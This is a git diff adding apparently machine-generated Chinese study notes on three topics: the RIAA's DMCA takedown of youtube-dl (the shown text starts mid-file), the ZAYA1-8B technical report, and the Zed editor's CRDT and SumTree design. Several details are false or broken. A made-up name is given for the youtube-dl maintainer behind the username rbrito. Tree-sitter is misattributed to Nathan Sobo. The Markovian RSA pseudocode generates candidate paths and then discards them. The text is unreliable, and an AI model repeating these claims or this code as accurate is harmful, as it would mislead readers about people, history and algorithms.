+这就是 2020 年 10 月 YouTube-dl 遭遇的事情。
+
+## 二、YouTube-dl 是什么？
+
+YouTube-dl 是一个用 Python 写的命令行工具，功能很简单：给它一个视频网站的网址，它就把视频下载下来存到本地。
+
+```bash
+# 最基本的用法：下载一个 YouTube 视频
+youtube-dl https://www.youtube.com/watch?v=dQw4w9WgXcQ
+
+# 只提取音频（比如把 MV 变成 MP3）
+youtube-dl -x --audio-format mp3 https://www.youtube.com/watch?v=dQw4w9WgXcQ
+
+# 批量下载一个播放列表
+youtube-dl -i -o '~/Videos/%(playlist)s/%(title)s.%(ext)s' \
+  https://www.youtube.com/playlist?list=PLxyz123
+```
+
+这个项目从 2008 年开始维护，是开源社区里最有名的下载工具之一。它有超过十万个 fork（复刻版本），遍布 GitHub 上各个角落。
+
+## 三、DMCA 是什么？
+
+DMCA 全称是《数字千年版权法》（Digital Millennium Copyright Act），是美国 1998 年通过的一部法律。它有两个关键部分：
+
+1. **版权侵权条款**：如果你未经许可复制、分发别人的作品，就是侵权。
+2. **反规避条款（17 USC 1201）**：这是争议的核心 —— 即使你没复制作品，**制作或传播能绕过技术保护措施的工具本身**，也是违法的。
+
+用一个类比来说：
+
+- 版权侵权 = 你偷了邻居家的 CD
+- 反规避违规 = 你造了一把能打开邻居防盗门的万能钥匙，哪怕你还没用它去偷任何东西
+
+DMCA 第 1201 条打击的是那把"万能钥匙"。
+
+## 四、RIAA 的攻击逻辑
+
+RIAA（美国唱片业协会）在 2020 年 10 月 23 日向 GitHub 提交了一份 DMCA takedown notice。它的论证链条是这样的：
+
+**第一步：YouTube 有技术保护措施**
+
+YouTube 播放音乐视频时，并不是直接把原始视频文件发给你的浏览器。它使用了一种叫做"rolling cipher"（滚动密码）的技术来加密视频流。你可以把它理解成"每次刷新页面，门锁的密码就变一次"。
+
+要拿到原始视频文件，必须先破解这个密码。
+
+**第二步：YouTube-dl 就是在破解这个密码**
+
+RIAA 指出，youtube-dl 的核心功能之一就是绕过 YouTube 的 rolling cipher，从而获取未经授权的音视频文件。
+
+**第三步：youtube-dl 的文档本身就证明了意图**
+
+RIAA 重点引用了 youtube-dl 的 README 文件中自带的示例用法。这些示例直接使用了受版权保护的音乐视频：
+
+```python
+# youtube-dl README 中的示例（被 RIAA 引用的内容）
+
+# 示例 1：Icona Pop - I Love It (Warner Music Group 拥有)
+youtube-dl --extract-audio --audio-format m4a \
+  "https://www.youtube.com/watch?v=g3wpnzi0WZ8"
+
+# 示例 2：Justin Timberlake - Tunnel Vision (Sony Music 拥有)
+youtube-dl --extract-audio --audio-format m4a \
+  "https://www.youtube.com/watch?v=RBWCORg2YTg"
+
+# 示例 3：Taylor Swift - Shake It Off (Universal Music 拥有)
+youtube-dl --extract-audio --audio-format m4a \
+  "https://www.youtube.com/watch?v=e-ORhEE9VVg"
+```
+
+RIAA 认为：一个工具的官方文档直接教人如何未经授权复制受版权保护的作品，这本身就是违法的。
+
+**第四步：引用德国法院判例**
+
+RIAA 还附上了德国汉堡地区法院的一份判决。该判决认定 YouTube 的 rolling cipher 属于欧盟和德国法律下的"有效技术保护措施"，而绕过它的服务是非法的。RIAA 认为美国 17 USC 1201 条与欧盟相关规定"实质相同"。
+
+## 五、核心法律概念拆解
+
+### 5.1 17 USC 1201(a)(2) —— 禁止提供规避工具
+
+这条规定说：任何人不得制造、进口、提供专门用于规避技术保护措施的工具或服务。
+
+关键点是"**专门用于**"（primarily designed or produced for the purpose of）。RIAA 主张 youtube-dl 的主要目的就是绕过 YouTube 的保护措施。
+
+### 5.2 17 USC 1201(b)(1) —— 禁止提供规避技术
+
+这条针对的是保护"作品访问权"的技术。YouTube 的 rolling cipher 保护的就是"谁能访问视频文件"这个问题。
+
+### 5.3 "Good Faith Belief"（善意信念）
+
+DMCA 要求投诉方声明他们"善意相信"被举报的材料使用未经授权使用。这不是要求 100% 确定，而是一种诚实的信念声明。
+
+被举报方如果认为自己没有侵权，可以提交 **counter-notification**（反通知）来申诉。
+
+## 六、这件事的结果
+
+GitHub 收到了这份 DMCA notice 之后，按照流程：
+
+1. 移除了 youtube-dl 主仓库和大量 fork 的访问权限
+2. 将 takedown notice 公开在了 github/dmca 仓库中（就是我们本文的来源）
+3. 给 youtube-dl 的维护者发了通知，允许他们提交 counter-notification
+
+youtube-dl 的维护者 Vincent A. Ruberto（用户名 rbrito）提交了反通知。随后双方进行了协商。最终 youtube-dl 项目以新的形态继续存在（后来出现了 yt-dlp 等分支项目）。
+
+## 七、代码示例：理解 rolling cipher 的概念
+
+YouTube 的 rolling cipher 不是一个公开的算法，但我们可以用一个简化的类比来理解它的思路：
+
+```python
+# 简化版的 "rolling cipher" 概念演示
+# 注意：这只是一个教学用的简化模型，并非 YouTube 的真实实现
+
+import hashlib
+import time
+
+def generate_video_key(video_id, timestamp):
+    """
+    模拟 YouTube 的 rolling cipher：
+    每个视频密钥随时间变化，过期后无法使用旧密钥解密
+    """
+    # 将视频ID和时间戳混合生成动态密钥
+    raw = f"{video_id}:{timestamp}"
+    key = hashlib.sha256(raw.encode()).hexdigest()[:32]
+    return key
+
+def decrypt_video_stream(key, encrypted_chunk):
+    """用当前有效的密钥解密视频数据块"""
+    # XOR 解密（真实情况更复杂）
+    decrypted = bytes(a ^ b for a, b in zip(
+        encrypted_chunk,
+        (key * (len(encrypted_chunk) // len(key) + 1))[:len(encrypted_chunk)].encode()
+    ))
+    return decrypted
+
+# 使用示例
+video_id = "dQw4w9WgXcQ"
+timestamp = int(time.time())  # 当前时间戳作为密钥的一部分
+
+current_key = generate_video_key(video_id, timestamp)
+print(f"当前密钥: {current_key}")
+
+# 如果有人试图用 5 分钟前的旧密钥解密，就会得到乱码
+old_timestamp = int(time.time()) - 300  # 5 分钟前
+old_key = generate_video_key(video_id, old_timestamp)
+print(f"旧密钥:   {old_key}")
+print(f"密钥不同:  {current_key != old_key}")
+```
+
+这个例子说明了 rolling cipher 的核心思想：**密钥随时间变化**。youtube-dl 要做的，就是找到一种方法预测或还原这个密钥。
+
+## 八、代码示例：DMCA counter-notification 的结构
+
+如果你收到 DMCA takedown notice，提交 counter-notification 时需要包含这些信息（基于 17 USC 512(g)(3)）：
+
+```
+# DMCA Counter-Notification 模板结构
+# （以下为示意，实际使用需律师审核）
+
+IDENTIFICATION OF REMOVED MATERIAL:
+  被移除的材料位于: https://github.com/ytdl-org/youtube-dl
+  材料被移除的日期: 2020-10-23
+
+UNDER PENALTY OF PERJURY, I STATE THAT:
+  1. 我具有善意信念，认为被移除的材料是被错误识别和/或
+     误认侵权或违规使用的。
+
+  2. youtube-dl 是一个合法工具，具有大量非侵权用途：
+     - 下载自己创作的视频内容
+     - 下载公共领域（public domain）的视频
+     - 下载获得 Creative Commons 许可的内容
+     - 下载获得作者明确授权的内容
+     - 合理使用（fair use）场景下的学术研究和评论
+
+  3. 我的地址和联系方式: [your info]
+
+  4. 我同意在联邦地区法院接受管辖。
+
+SIGNATURE: [your signature]
+DATE: [date]
+```
+
+## 九、这件事为什么重要？
+
+### 9.1 对开源社区的影响
+
+youtube-dl 事件引发了关于"工具中立性"的大讨论。一个通用的下载工具，是否应该因为它被用来做侵权的事而被禁止？
+
+类比：一把菜刀可以切菜也可以伤人，能不能因为有人用它伤人就没收菜刀的生产权？
+
+### 9.2 反规避条款的扩张效应
+
+DMCA 1201 条的争议在于：它不只是保护版权，而是**保护版权保护的技术手段本身**。这意味着：
+
+- 即使你的使用是合法的（比如 fair use），
+- 只要你绕过了技术保护措施，
+- 就可能违反 1201 条。
+
+这被很多法律学者认为是"过度扩张"的。
+
+### 9.3 后续影响
+
+youtube-dl 被下架后，社区迅速涌现了大量替代品：
+
+| 项目 | 说明 |
+|------|------|
+| yt-dlp | youtube-dl 的最活跃分支，目前最流行的下载工具 |
+| youtube-dl-gui | 图形界面版本 |
+| various forks | GitHub 上超过十万个 fork 仍然存在 |
+
+## 十、关键要点回顾
+
+1. **DMCA 有两层保护**：版权侵权 + 反规避。youtube-dl 被打的是反规避这一层。
+
+2. **rolling cipher** 是 YouTube 防止直接下载视频的技术措施，youtube-dl 的核心功能就是绕过它。
+
+3. **README 里的示例**成了 RIAA 的关键证据 —— 工具文档直接展示了侵权用途。
+
+4. **17 USC 1201** 打击的是"造钥匙的人"，不只是"偷东西的人"。
+
+5. **开源社区的韧性**：一个项目被下架，社区可以在几天内产生出功能更强的替代品。
+
+## 十一、延伸阅读
+
+- 原始 DMCA notice：https://github.com/github/dmca/blob/master/2020/10/2020-10-23-RIAA.md
+- DMCA 反规避条款的豁免申请：https://www.copyright.gov/section1201/
+- yt-dlp 项目：https://github.com/yt-dlp/yt-dlp
+- EFF 对 DMCA 1201 条的分析：https://www.eff.org/issues/copyright
diff --git a/src/content/docs/papers/zaya1-8b.md b/src/content/docs/papers/zaya1-8b.md
new file mode 100644
index 000000000..5d38d235d
--- /dev/null
+++ b/src/content/docs/papers/zaya1-8b.md
@@ -0,0 +1,233 @@
+---
+title: ZAYA1-8B Technical Report
+来源: https://arxiv.org/abs/2605.05365
+日期: 2026-06-13
+分类: 其他
+子分类: llm
+provenance: pipeline-v3
+---
+
+# ZAYA1-8B Technical Report — 零基础学习笔记
+
+## 一、这是什么模型？
+
+ZAYA1-8B 是 Zyphra 公司（总部位于旧金山）在 2026 年 5 月发布的一个推理专用大语言模型。它的名字含义是 "ZAYA1"（架构名）+"8B"（总参数量约 80 亿）。
+
+核心数据一目了然：
+
+| 指标 | 数值 |
+|---|---|
+| 总参数量 | 8.4B |
+| 每次推理激活的参数 | 0.76B（不到 10 亿） |
+| Transformer 层数 | 40 |
+| 隐藏层维度 | 2048 |
+| 每个 MoE 层的专家数 | 16 |
+| 每次推理选择的专家数 | Top-1（只选 1 个） |
+| 上下文长度 | 最长 131K tokens |
+| Tokenizer | Gemma3，词表 262,272 |
+| 训练硬件 | AMD MI300X GPU + Pollara 网络 |
+
+### 什么叫 "总参数 8B，激活参数 0.7B"？
+
+用一个日常类比来理解：
+
+想象一家拥有 16 个医生的诊所（16 个专家）。诊所总共有 80 个医生座位（8B 总参数）。但每次来一个病人（一个 token），只有一位医生负责诊断（激活参数约 0.7B）。其余 15 位医生的资源在当下完全不被消耗。
+
+这就是 **MoE（Mixture of Experts，混合专家）** 的核心思想：模型"知道"很多东西，但每次只"调用"其中一小部分来工作，从而用更少的计算量处理任务。
+
+## 二、三大架构创新
+
+ZAYA1-8B 在标准 Transformer MoE 基础上做了三个关键改动。
+
+### 2.1 Compressed Convolutional Attention（CCA，压缩卷积注意力）
+
+**类比**：传统注意力机制像是读一本 1000 页的书时，每读一页都要翻回全书所有页做比较（O(n²) 复杂度）。CCA 则像是先把全书压缩成一本 100 页的摘要，然后在摘要上做事后比较。
+
+**做了什么**：
+- 在压缩的潜空间中进行序列混合操作
+- KV 缓存压缩了 8 倍，query 压缩了 2 倍
+- 大幅减少预填充（prefill）的 FLOPs 和显存占用
+- 对长上下文推理特别有利
+
+### 2.2 ZAYA1 Router（智能路由）
+
+传统 MoE 用一个简单的线性函数来决定每个 token 分配给哪个专家。ZAYA1 换成了一个更聪明的 **三层 MLP 路由**，并引入了 **EDA（指数深度平均）** 机制——把当前层的路由表示与上一层的路由表示混合，让路由决策更稳定。
+
+**类比**：传统路由像是一个只看一个维度的裁判（"身高超过 180 就选 A 队"），ZAYA1 路由像是一个综合评估多个维度的教练（"身高、速度、经验加权打分"），分配更合理。
+
+路由的数学公式如下：
+
+```
+r_l = W_down · x_l          # 降投影到 256 维
+r_l = r_l + γ · r_{l-1}     # EDA：与上一层路由混合
+s_l = softmax(MLP(RMSnorm(r_l)))  # 三层 MLP 输出专家权重
+e_idx = top-1(s_l + b_l)    # 选得分最高的专家
+```
+
+其中 `b_l` 是负载均衡偏置项，使用 PID 控制器思想动态调整，防止某些专家被过度使用。
+
+### 2.3 Residual Scaling（残差缩放）
+
+在每个 Transformer 层前后加上可学习的缩放系数和偏置：
+
+```
+Res-scale(x) = α · x + β
+x_{l+1} = Res-scale_res(x_l) + Res-scale_out(Layer(RMSnorm(x_l)))
+```
+
+**类比**：就像水管里的调压阀——控制每一层传递多少"信号能量"，防止信号在深层网络中要么越来越弱（梯度消失），要么越来越强（爆炸）。
+
+这个改动只增加了极少的参数（4 × L × D），但显著控制了残差范数在深度方向上的增长。
+
+## 三、训练流程：从零到推理专家
+
+ZAYA1-8B 的训练分为三个阶段：预训练、中期训练、SFT + RL 后训练。
+
+### 3.1 三阶段预训练
+
+| 阶段 | 上下文长度 | Token 量 | 重点 |
+|---|---|---|---|
+| Base 预训练 Phase 1 | 4K | 8T | 通用网页、代码、数学、多语言 |
+| Base 预训练 Phase 2 | 4K | 4T | 更多代码、数学、推理、指令数据 |
+| 32K 中期训练 | 32K | 1.2T | 长 CoT 推理占 86.1% |
+| SFT | 131K | 660B | 对话模板 + 推理 + 代码 |
+
+### 3.2 关键创新：Answer-Preserving Trimming（答案保留裁剪）
+
+**问题**：强模型生成的推理链（CoT）动辄超过 10K tokens，而预训练时上下文只有 4K。怎么办？
+
+传统做法是直接从中间截断，但这会"砍掉"推理的结论部分，让模型学了一堆"没有结局的推理"。
+
+ZAYA1 的做法是从推理链的**尾部**截断，保留开头（问题分析、策略探索）和结尾（最终答案），就像剪掉一个故事的冗长收尾，但保留开头和结局：
+
+1. 如果完整样本能塞进上下文 → 保留
+2. 如果不能 → 从最后一个推理块的尾部截断，保留开头和最终答案
+3. 如果多轮对话还放不下 → 删掉前几轮的推理块，只保留答案
+4. 如果光答案就放不下 → 丢弃这个样本
+
+### 3.3 四阶段 RL 级联
+
+SFT 之后是四个连续阶段的强化学习：
+
+```
+推理热身 (232 steps) → RLVE-Gym 课程 (400 steps) → 数学+代码+TTC 阶段1 (384) → 阶段2 (464) → 行为 RL (384)
+```
+
+每个阶段重点不同：
+- **推理热身**：数学题和逻辑谜题，建立基础推理能力
+- **RLVE-Gym**：400 个自适应难度的可验证环境，像"健身房的渐进增重"
+- **数学+代码+TTC**：大量数学和代码 RL，使用测试时计算（TTC）轨迹
+- **行为 RL**：最后才调教对话风格、指令遵循等"社交技能"
+
+**关键设计**：推理 RL 被**前置**了——大部分 RL 算力花在可验证的数学、代码上，最后才用偏好reward调风格。这和很多先用 RLHF 调风格再练推理的做法相反。
+
+## 四、Markovian RSA：推理时的"集体智慧"
+
+这是 ZAYA1-8B 最有趣的技术贡献之一。
+
+**RSA**（Recursive Self-Aggregation）的思想：让模型自己生成多个推理路径，然后聚合它们选出最好的。
+
+**Markovian RSA** 的创新在于：不保留完整的推理历史，而是每一轮只携带一个固定长度的"推理尾巴"（4K tokens）进入下一轮。
+
+**类比**：
+- 传统 RSA：像辩论赛，每一轮都要回顾前面所有发言记录（越来越长）
+- Markovian RSA：像接力赛，每棒选手只需要知道上一棒留下的"接力信息"（固定长度），不用回顾全场
+
+```python
+# Markovian RSA 推理流程伪代码
+
+def markovian_rsa_inference(prompt, N=16, beta=512, C=4096, rounds=2):
+    """
+    N  = 每轮生成的候选推理路径数
+    beta = 每轮解码的最大 token 数（推理尾巴长度）
+    C  = 聚合阶段使用的上下文窗口大小
+    rounds = 聚合轮数
+    """
+    # 第 1 轮：从零生成 N 条候选推理
+    tails = []
+    for i in range(N):
+        tail = model.generate(prompt, max_new_tokens=beta)
+        tails.append(tail)
+
+    current_tail = ""
+    for round in range(rounds):
+        # 聚合：用当前推理尾巴 + 问题，生成改进后的答案
+        aggregation_input = f"{prompt}\nReasoning: {current_tail}"
+        improved = model.generate(
+            aggregation_input,
+            max_new_tokens=beta
+        )
+        current_tail = improved[-C:]  # 只保留最后 C tokens
+
+    return current_tail
+```
+
+**效果**：在 AIME'25 数学竞赛上，单条推理 ZAYA1-8B 大约 60-70%，使用 Markovian RSA 后飙升到 91.9%。而且只携带 4K 的推理尾巴，效率极高。
+
+## 五、强化学习核心技术细节
+
+### 5.1 PipelineRL（异步流水线 RL）
+
+rollout 生成和梯度更新在**不同的 GPU 池上异步运行**，互不等待：
+
+```python
+# 流水线 RL 的异步结构示意
+
+GPU池A (Rollout):  采样 → 验证 → 收集奖励 → 放入缓冲区
+GPU池B (Trainer):  从缓冲区取数据 → 计算梯度 → 更新模型
+
+# 两个池子独立运行， Trainer 每 2 次迭代同步一次策略权重
+```
+
+### 5.2 损失聚合：Dr-GRPO SMTSN
+
+标准 GRPO 在 token 级别平均损失，这会隐含地偏好长回答（因为答案正确时，长回答的 token 越多，平均损失越低）。SMTSN 改为：先把每个 rollout 的 token 损失求和，再在所有 rollout 之间平均。
+
+```python
+# 标准 GRPO 的损失（有长度偏差）
+loss_std = sum(token_losses) / num_tokens  # token 平均 → 偏好长回答
+
+# Dr-GRPO SMTSN 的损失（无长度偏差）
+loss_smtsn = sum(token_losses) / num_rollouts  # rollout 平均 → 无偏差
+```
+
+### 5.3 MaxRL 优势估计
+
+```
+Â_i = (r_i - r̄) / r̄
+```
+
+其中 `r_i` 是第 i 条 rollout 的奖励（0 或 1），`r̄` 是这一组 rollout 的平均奖励。用均值归一化而非标准差，对困难题目产生更强的梯度信号。
+
+## 六、关键实验结果
+
+### 6.1 与 DeepSeek-R1 对比（不到 1B 激活参数 vs 更大模型）
+
+| 数据集 | ZAYA1-8B | DeepSeek-R1-0528 |
+|---|---|---|
+| AIME'25 | 匹配或超越 | 基准 |
+| HMMT'25 | 匹配或超越 | 基准 |
+| LCB-v6 | 匹配或超越 | 基准 |
+
+### 6.2 Markovian RSA 加持后的成绩
+
+在 TTC（测试时计算）评估中，使用 40K/4K 配置的 Markovian RSA：
+
+| 数据集 | ZAYA1-8B + Markovian RSA |
+|---|---|
+| AIME'25 | **91.9%** |
+| HMMT'25 | **89.6%** |
+
+这个成绩已经接近 Gemini-2.5 Pro、DeepSeek-V3.2、GPT-5-High 等大得多的模型。
+
+## 七、一句话总结
+
+ZAYA1-8B 证明了：**用不到 10 亿激活参数，配合精心设计的 MoE 架构、推理感知的全阶段训练、四阶段 RL 级联、以及 Markovian RSA 推理时聚合，数学推理能力可以匹敌甚至超越大得多的开源推理模型**。
+
+关键启示不是"模型越大越好"，而是"架构、训练、RL、推理时计算这四个组件需要协同设计"。
+
+## 八、延伸思考
+
+1. **为什么推理数据要从预训练阶段就开始加入？** 论文引用了 "Front-Loading Reasoning" 的研究，表明推理数据如果在 SFT 之后才加入，有些能力是后训练无法恢复的。
+2. **为什么 RL 中不用 KL 正则化？** 论文在行为底线部分提到，PipelineRL 下 KL 惩罚在 reward 中会导致长度偏差。
+3. **Top-1 路由 vs Top-2 路由：** 论文发现 ZAYA1 路由器的表达力已经足够强，不需要 top-k 选择多个专家，top-1 反而更稳定。
diff --git a/src/content/docs/papers/zed-editor-collaborative.md b/src/content/docs/papers/zed-editor-collaborative.md
new file mode 100644
index 000000000..dddaeaaef
--- /dev/null
+++ b/src/content/docs/papers/zed-editor-collaborative.md
@@ -0,0 +1,303 @@
+---
+title: "Zed: A High-Performance Multiplayer Code Editor in Rust — 把协同编辑写进编辑器 DNA 的 Rust 原生 IDE"
+来源: https://zed.dev/blog/zed-decoded-architecture
+日期: 2026-06-13
+子分类: 编辑器与 IDE
+分类: CLI
+provenance: pipeline-v3
+---
+
+## 日常类比：F1 维修站里的同一块白板
+
+想象你和同事在远程 pair programming。最土的做法是：一个人改完文件、保存、推 Git，另一个人 `git pull` 才能看到——像两个人**轮流用同一块粉笔**，写完必须擦掉再递给对方。
+
+Google Docs 那种实时协作文档，像**一块魔法白板**：你写「hello」，对方同时写「world」，最后板上稳定出现合理结果，不用抢锁。
+
+**Zed** 想做的是第三种体验：不是网页里嵌一个 Electron 壳，而是像 **F1 维修站**——每个人有自己的扳手（本地 GPU 渲染、本地键盘响应），但所有人盯着**同一块引擎盖上的电路图**（共享 buffer）。你拧一颗螺丝的同时，队友能在旁边标注释；系统保证最后图纸不会拧乱、标错位置。
+
+Zed 由 Atom 编辑器原班团队（ Nathan Sobo 等）用 **Rust 从零重写**，约 13.5 万行核心代码。它把「多人实时编辑」当作**一等公民**，而不是后期插件；底层用 **CRDT** 保证跨洲异步协作时副本最终一致，用 **SumTree** 统一文本、诊断、文件列表等索引，用 **GPUI** 做 GPU 加速 UI。
+
+官方架构解读系列 **Zed Decoded**（Rope、Async Rust、坐标系、扩展 Wasm 等）是理解其设计的入口；本文以该系列与 [CRDT 博文](https://zed.dev/blog/crdts) 为主线，为零基础读者串起全貌。
+
+## 是什么
+
+**Zed** 是一款：
+
+- **原生桌面**代码编辑器（macOS / Windows / Linux），非 Electron 套壳
+- 用 **Rust** 编写，强调多线程、零成本抽象与内存安全
+- 内置 **实时多人协作**（共享 buffer、多光标、语音通道）
+- **垂直整合**：自研 GPUI 渲染、自研 rope/CRDT、深度集成 Tree-sitter，LSP 走标准协议
+
+和 [[monaco-editor-2016]]、[[codemirror-6-architecture]] 的对照：
+
+| 维度 | Monaco（浏览器） | CodeMirror 6（浏览器） | Zed（原生 Rust） |
+|------|------------------|------------------------|------------------|
+| 运行时 | JS + Web Worker | JS 模块化扩展 | Rust + 后台线程 |
+| UI | DOM | contentEditable | GPUI（GPU） |
+| 协作 | 通常外接服务 | 需 Yjs 等扩展 | 内置 CRDT buffer |
+| 文本结构 | Piece tree 等 | 行树 `Text` | SumTree + Rope |
+
+## 为什么重要
+
+不懂 Zed 的架构，以下几类问题很难答清：
+
+1. **为什么不用 Electron 也能做「现代 IDE 感」？** —— GPUI 直接走 Metal / Vulkan / Direct3D，UI 与编辑器同进程、同语言，减少 IPC 与 JS 边界。
+2. **远程协作如何避免「抢锁」或 OT 变换地狱？** —— 选 CRDT：并发插入天然可交换（commutative），用 Lamport 时间戳保因果顺序。
+3. **大文件下为何还能后台高亮、blame、LSP？** —— Rope 是 **Arc 引用计数的持久化结构**，主线程 `O(1)` 拍快照丢给后台线程。
+4. **为什么一个 SumTree 能管这么多东西？** —— B+ 树叶子存数据，每个节点带 **Summary** 聚合子树信息，按字节偏移、行号、UTF-16 偏移都能在 `O(log n)` 跳转。
+
+## 架构全景
+
+```mermaid
+flowchart TB
+  subgraph 输入层
+    Keys[主线程同步按键分发]
+    Net[协作网络 / 云端中继]
+  end
+
+  subgraph 核心["editor 核心（Rust）"]
+    Buf[CRDT Buffer]
+    RopeVis[可见文本 Rope]
+    RopeTomb[墓碑 Rope]
+    Anchor[Anchor / Lamport 锚点]
+    SumTree[SumTree 索引]
+  end
+
+  subgraph 语义层
+    TS[Tree-sitter 增量解析]
+    LSP[Language Server 协议]
+  end
+
+  subgraph 呈现层
+    GPUI[GPUI GPU 框架]
+    Term[集成终端]
+  end
+
+  Keys --> Buf
+  Net --> Buf
+  Buf --> RopeVis
+  Buf --> RopeTomb
+  Buf --> SumTree
+  Anchor --> Buf
+  RopeVis --> TS
+  TS --> GPUI
+  LSP --> GPUI
+  Buf --> GPUI
+```
+
+设计信条（来自 Zed 团队公开材料）：
+
+- **主线程不持锁处理按键**：重绘先于键事件分发，绑定永远针对最新状态；重活丢给 `BackgroundExecutor`。
+- **协作与本地编辑同一条数据路径**：Buffer 始终是 CRDT，单机模式只是「只有一个 replica」的特例。
+- **一切皆 SumTree**：文件树、诊断、聊天消息、git blame 信息——同一套可并发、可快照的 B+ 树。
+
+## 核心概念
+
+### 1. SumTree：Zed 的「瑞士军刀」索引
+
+传统 **rope** 是二叉树，叶子挂字符串片段。Zed 的 `Rope` 本质是 `SumTree<Chunk>`：
+
+- **B+ 树**：叶子存多个 `Item`，内部节点存子树的 `Summary`
+- **持久化 / 写时复制**：`Arc` 共享子树，分叉快照几乎只增加引用计数
+- **多维度摘要**：同一棵树可按字节偏移、行数、UTF-16 长度等 summary 维度二分查找
+
+团队并不是先选 rope 再选 CRDT，而是先做出 SumTree，发现它同时满足「大文件编辑 + 并发快照 + CRDT 片段索引」，再在上层堆出 Rope 与 Buffer。
+
+### 2. CRDT Buffer：不可变插入 + 墓碑删除
+
+文本不是「可变字符串」，而是**插入历史的有序片段序列**：
+
+- 每次插入分配全局唯一 id：`(replica_id, sequence)`，例如 `0.0` 表示 host 的初始全文
+- 逻辑位置用 **Anchor** `(insertion_id, offset)` 描述，不依赖会漂移的数字 offset
+- 删除不抹掉字节，而是给片段打 **tombstone**；并发删除带 **version vector**，避免误删他人刚插入的字
+
+并发在同一位置插入时，用 **Lamport 时间戳** 排序：先观测到的操作时间戳更小；时间戳相同时按 replica id 打破平局。这样所有副本对「同一锚点旁的多个插入」得到相同顺序。
+
+### 3. Anchor：协作与后台任务的共同语言
+
+`Anchor` 钉在**某次插入的不可变片段**上，而不是钉在「第 42 行第 3 列」。用户继续打字时，行号会变，但 anchor 仍指向同一段逻辑文本。
+
+用途：
+
+- 多人协同时的光标、选区、评论线程
+- 后台 Tree-sitter 高亮：主线程拍 buffer 快照 + 两个 anchor 界定范围，工作线程解析时不阻塞输入
+- LSP：`PointUtf16` / `OffsetUtf16` 与语言服务器对齐，SumTree 预索引 UTF-16 使转换接近 `O(log n)`
+
+### 4. GPUI + 异步 Rust
+
+Zed 在 macOS 上不用 tokio 做主调度，而用 **Grand Central Dispatch（GCD）** 薄封装 + `async_task`：
+
+- `ForegroundExecutor`：主线程 UI 与输入
+- `BackgroundExecutor`：解析、网络、文件 IO
+
+这让系统能统一调度 CPU/GPU 负载，保持「按键到像素」低延迟。扩展则走 **Wasmtime + WIT**，把 Tree-sitter 语法、主题等隔离在沙箱组件里。
+
+### 5. Tree-sitter：编辑器自带的语法眼睛
+
+Zed 联合创始人 Nathan Sobo 是 Tree-sitter 作者。编辑器内很多「懂语法」的功能（折叠、结构选择、局部重构）不靠 LSP，而靠：
+
+- **增量 GLR 解析**：编辑后只重解析受影响子树
+- **Tree 查询（queries）**：声明式模式匹配，新语言多半只需加 grammar + query 文件
+
+语法树与 buffer 快照配合 SumTree 的 seek/slice，使主线程开销可控。
+
+## 代码示例一：Rope 的基本用法（来自 Zed `rope` crate 公开 API）
+
+下面示例摘自 Zed Decoded「Rope & SumTree」一文，展示 rope 相对 `String` 的优势：**拼接与替换大量文本时主要改树指针，而非搬移整块内存**。
+
+```rust
+use rope::Rope;
+
+fn main() {
+    // 构造与追加
+    let mut rope = Rope::new();
+    rope.push("Hello World!");
+
+    let mut tail = Rope::new();
+    tail.push("This is your captain speaking.");
+
+    // 拼接：连接两棵树的根，而非 memcpy 整个字符串
+    rope.append(tail);
+    assert_eq!(
+        rope.text(),
+        "Hello World! This is your captain speaking."
+    );
+
+    // 区间替换：中间生成新树，复用左右子树节点
+    let mut order = Rope::new();
+    order.push("One coffee, please. Black, yes.");
+    order.replace(4..10, "guinness");
+    assert_eq!(order.text(), "One guinness, please. Black, yes.");
+
+    // 删除 = 替换为空串
+    order.replace(4..12, "");
+    assert_eq!(order.text(), "One , please. Black, yes.");
+}
+```
+
+要点：`replace(range, text)` 在内部把原 rope 切成三段逻辑——保留 range 前、插入新 chunk、保留 range 后——未触及的子树通过 `Arc` 共享。
+
+## 代码示例二：用 Anchor 思维理解 CRDT 插入（教学化伪代码）
+
+真实实现分布在 `text` / `rope` / `editor` crate，逻辑等价于：每个插入带 id 与 Lamport 时间戳，应用远程操作时按父插入 id 查找片段，而非用裸 offset。
+
+```rust
+/// 教学用简化模型，帮助理解 Zed CRDT 插入协议（非仓库源码拷贝）
+
+#[derive(Clone, Copy, Debug, PartialEq, Eq, PartialOrd, Ord)]
+struct OpId {
+    replica: u16,
+    seq: u32,
+}
+
+#[derive(Clone, Debug)]
+struct InsertOp {
+    id: OpId,
+  lamport: u64,
+    parent: OpId,   // 插入发生在哪个已有片段之后
+    parent_offset: usize,
+    text: String,
+}
+
+struct Replica {
+    replica_id: u16,
+    next_seq: u32,
+    lamport: u64,
+    // 真实 Zed 用 SumTree 存 Fragment，而非 Vec
+    fragments: Vec<(OpId, String, bool)>, // (id, text, tombstoned)
+}
+
+impl Replica {
+    fn local_insert(&mut self, parent: OpId, parent_offset: usize, text: &str) -> InsertOp {
+        self.lamport += 1;
+        let op = InsertOp {
+            id: OpId {
+                replica: self.replica_id,
+                seq: self.next_seq,
+            },
+            lamport: self.lamport,
+            parent,
+            parent_offset,
+            text: text.to_string(),
+        };
+        self.next_seq += 1;
+        self.apply_remote(op.clone());
+        op
+    }
+
+    fn apply_remote(&mut self, op: InsertOp) {
+        self.lamport = self.lamport.max(op.lamport) + 1;
+        // 1. 在 fragments 中找到 parent 片段及 parent_offset
+        // 2. 按 Lamport 降序、replica id 升序插入同位置并发片段
+        // 3. 必要时 split 原 fragment
+        self.fragments.push((op.id, op.text, false));
+    }
+}
+
+fn demo_two_replicas() {
+    let mut host = Replica {
+        replica_id: 0,
+        next_seq: 1,
+        lamport: 0,
+        fragments: vec![(OpId { replica: 0, seq: 0 }, "In 1968,".into(), false)],
+    };
+    let mut guest = Replica {
+        replica_id: 1,
+        next_seq: 0,
+        lamport: 0,
+        fragments: host.fragments.clone(),
+    };
+
+    let root = OpId { replica: 0, seq: 0 };
+    let op_a = host.local_insert(root, 3, "December of ");
+    let op_b = guest.local_insert(root, 8, " Douglas Engelbart");
+
+    host.apply_remote(op_b);
+    guest.apply_remote(op_a);
+    // 两副本按相同规则合并后，可见文本收敛为同一结果
+}
+```
+
+这段伪代码省略了 tombstone、version vector 与 undo map，但抓住了 Zed 与 OT 的根本分歧：**不为并发操作写变换函数，而是让操作在 CRDT 状态下直接可应用**。
+
+## 协作中的删除、撤销与一致顺序
+
+| 机制 | 作用 |
+|------|------|
+| Tombstone | 删除 = 标记隐藏，保留插入 id 供 anchor 解析 |
+| Version vector on delete | 并发插入进「已删区间」时不被误埋 |
+| Lamport timestamp | 同锚点并发插入的全局一致排序 |
+| Per-replica undo map | 每人撤销自己的 op id，而非全局栈 |
+
